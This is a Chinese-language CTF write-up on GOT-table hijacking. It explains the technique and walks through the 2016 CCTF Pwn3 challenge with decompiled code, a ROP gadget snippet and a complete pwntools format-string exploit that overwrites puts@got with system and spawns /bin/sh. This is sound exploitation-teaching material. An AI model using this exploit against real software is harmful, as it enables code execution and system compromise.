hijack Got
Table of Contents
原理
在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。
假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:
- 确定函数 A 的 GOT 表地址。
- 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
- 确定函数 B 的内存地址
- 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
- 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。
- 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
- 写入函数:write 函数。
- ROP
pop eax; ret; # printf@got -> eax pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset- 格式化字符串任意地址写
- 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
例子 - 2016 CCTF Pwn3
Checksec
# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3 on git:master x [12:18:24]
$ checksec pwn3
[*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3/pwn3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
可以看出程序主要开启了 NX 保护。我们一般默认远程都是开启 ASLR 保护的。
分析程序
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int command; // eax
char s1[40]; // [esp+14h] [ebp-2Ch] BYREF
int v5; // [esp+3Ch] [ebp-4h]
setbuf(stdout, 0);
ask_username(s1);
ask_password(s1);
while ( 1 )
{
while ( 1 )
{
print_prompt();
command = get_command();
v5 = command;
if ( command != 2 )
break;
put_file();
}
if ( command == 3 )
{
show_dir();
}
else
{
if ( command != 1 )
exit(1);
get_file();
}
}
}
get_file func
int get_file()
{
char dest[200]; // [esp+1Ch] [ebp-FCh] BYREF
char s1[40]; // [esp+E4h] [ebp-34h] BYREF
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", s1);
if ( !strncmp(s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, s1) )
{
strcpy(dest, i + 40);
return printf(dest);
}
}
return printf(dest);
}
首先分析程序,可以发现程序似乎主要实现了一个需密码登录的 ftp,具有 get,put,dir 三个基本功能。大概浏览一下每个功能的代码,发现在 get 功能中存在格式化字符串漏洞。
漏洞利用思路
既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路:
- 绕过密码
- 确定格式化字符串参数偏移
- 利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址
- 修改 puts@got 的内容为 system 的地址
- 当程序再次执行 puts 函数的时候,其实执行的是 system 函数
Exploit
#!/usr/bin/env python3
from pwn import *
pwn3 = ELF('./pwn3')
libc = ELF('./libc.so')
# sh = process('./pwn3')
sh = remote('127.0.0.1', 12345)
def get(name):
sh.sendline(b'get')
sh.recvuntil(b'enter the file name you want to get:')
sh.sendline(name)
data = sh.recv()
return data
def put(name, content):
sh.sendline(b'put')
sh.recvuntil(b'please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil(b'then, enter the content:')
sh.sendline(content)
def show_dir():
sh.sendline(b'dir')
tmp = 'sysbdmin'
name = ""
for i in tmp:
name += chr(ord(i) - 1)
def password():
sh.recvuntil(b'Name (ftp.hacker.server:Rainism):')
sh.sendline(name.encode())
password()
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
put(b'1111', b'%8$s' + p32(puts_got))
puts_addr = u32(get(b'1111')[:4])
log.success('puts addr : ' + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
log.success('libc base : ' + hex(libc_base))
log.success('system addr : ' + hex(system_addr))
log.info('puts offset in libc: ' + hex(libc.sym['puts']))
log.info('system offset in libc: ' + hex(libc.sym['system']))
payload = fmtstr_payload(7, {puts_got: system_addr}, write_size='byte')
put(b'/bin/sh;', payload)
sh.recvuntil(b'ftp>')
sh.sendline(b'get')
sh.recvuntil(b'enter the file name you want to get:')
sh.sendline(b'/bin/sh;')
show_dir()
sh.interactive()
补充
- 我在获取 puts 函数地址时使用的偏移是 8,这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。其实格式化字符串的首地址的偏移是 7。
- 这里我利用了 pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。